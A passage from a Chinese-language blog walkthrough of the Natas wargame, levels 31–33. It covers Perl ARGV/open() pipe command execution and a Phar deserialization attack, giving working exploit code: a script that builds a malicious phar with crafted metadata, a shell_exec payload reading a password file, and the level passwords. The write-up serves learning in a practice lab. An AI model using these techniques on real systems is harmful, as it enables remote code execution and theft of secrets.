接着,while (<KaTeX parse error: Expected '}', got 'EOF' at end of input: …期望遍历文件的每一行,但由于此时file是一个常规字符串,事实上,“<>”仅对文件起作用,对字符串不起作用。但是有一个特例,除非这个字符串是“ARGV”。当字符串是“ARGV”时,“<>”会遍历URL中?后面的每个值(比如POST /test.cgi?/etc/file1 /etc/file2),并把它们当做文件路径插入到一个open()调用中。这意味着,此时我们可以查看任何我们想看的文件内容,而不是仅仅查看我们上传的文件内容。
最后,再说说open()函数。open()的本意是打开一个字符串所代表的文件,但是当在字符串后面加一个“|”的话,open()就会执行这个字符串(比如POST /test.cgi?ipconfig|),就像调用一个exec()一样。

攻击结果如下:

可参考:https://www.youtube.com/watch?v=BYl3-c2JSL8
下级密码:

no1vohsheCaiv3ieH4em1ahchisainge

32(perl远程命令执行)

和natas31差不多的界面
延续上题的思路,两个参数,一个赋予变量值,先查看有哪些文件(ls -l无法显示,那么我们使用ls -l .):

发现有一个getpassword.c,还有一个getpassword文件应该是前者编译后的可执行文件:

尝试在url后面直接输入getpassword文件执行:

得到下级密码:

shoogeiGa2yee3de6Aex8uaXeech5eey

33(Phar反序列化)

是一个文件上传的界面,源码如下:

// graz XeR, the first to solve it! thanks for the feedback!
// ~morla
class Executor{
    private $filename="";       //三个私有参数
    private $signature='adeafbadbabec0dedabada55ba55d00d';
    private $init=False;
 
    function __construct(){     //类创建时调用
        $this->filename=$_POST["filename"];
        if(filesize($_FILES['uploadedfile']['tmp_name']) > 4096) {   //限制文件大小
            echo "File is too big<br>";
        }
        else {                                                      //将文件移动到/natas33/upload/目录下
            if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], "/natas33/upload/" . $this->filename)) {
                echo "The update has been uploaded to: /natas33/upload/$this->filename<br>";
                echo "Firmware upgrad initialised.<br>";
            }
            else{
                echo "There was an error uploading the file, please try again!<br>";
            }
        }
    }
 
    function __destruct(){      //类销毁时调用
        // upgrade firmware at the end of this script
 
        // "The working directory in the script shutdown phase can be different with some SAPIs (e.g. Apache)."
        if(getcwd() === "/") chdir("/natas33/uploads/");    //getchwd() 函数返回当前工作目录。chdir() 函数改变当前的目录。
        if(md5_file($this->filename) == $this->signature){    //md5_file() 函数计算文件的 MD5 散列。
            echo "Congratulations! Running firmware update: $this->filename <br>";
            passthru("php " . $this->filename); //执行外部命令
        }
        else{
            echo "Failur! MD5sum mismatch!<br>";
        }
    }
}
 
session_start();
if(array_key_exists("filename", $_POST) and array_key_exists("uploadedfile",$_FILES)) {
    new Executor();
}

查看源码,我们知道,当上传文件的MD5校验与adeafbadbabec0dedabada55ba55d00d匹配时,服务器会执行这个文件。很容易想到MD5碰撞,然而这里是无用的,因为对其进行了限制,限制为4096字节。
继续审计源码,发现在类销毁时调用了__destruct()魔术方法,猜测代码中可能存在PHP反序列化漏洞
我们利用反序列化漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高,这种漏洞利用越来越来难了,但是在2018年8月份的Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息(文章地址:https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf)。

phar文件结构

  1. A stub
    stub的基本结构:<?php HALT_COMPILER();,stub必须以HALT_COMPILER();来作为结束部分,否则Phar拓展将不会识别该文件
  2. a manifest describing the contents
    Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以反序列化的形式储存,这里就是漏洞利用的关键点
  3. the file contents
    被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化
  4. a signature for verifying Phar integrity
    签名校验

下面根据文件结构,我们构建一个phar文件:

<?php
    class Executor {
        private $filename = "xx.php";
        private $signature = True;
        private $init = false;
    }
     
    $phar = new Phar("test.phar");          //后缀名必须为phar
    $phar->startBuffering();
    $phar->addFromString("test.txt", 'test');    //添加要压缩的文件
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new Executor();
    $phar->setMetadata($o);              //将自定义的meta-data存入manifest
    $phar->stopBuffering();              //签名自动计算
?>

首先上传一个读取密码的php文件:

<?php echo shell_exec('cat /etc/natas_webpass/natas34'); ?>

burpsuit拦截修改为xx.php
再将生成的phar文件上传,burpsuit重命名为test.phar
最后将文件名修改为phar://test.phar/test.txt,强制md5_file()函数解析phar文档
获得下级密码:

shu5ouSu6eicielahhae0mohd4ui5uig

34(闯关成功)

致谢

部分内容参考(看了一下第一个链接直接全程搬运的第三个链接的):
https://blog.csdn.net/weixin_42728957/article/details/105582445
https://blog.csdn.net/winkar/article/details/38620401
https://www.cnblogs.com/zhengna/p/12346481.html
https://blog.csdn.net/xiongya8888/article/details/84947232

posted @ 2021-06-03 10:45  nihinumbra  阅读(831)  评论(0编辑  收藏  举报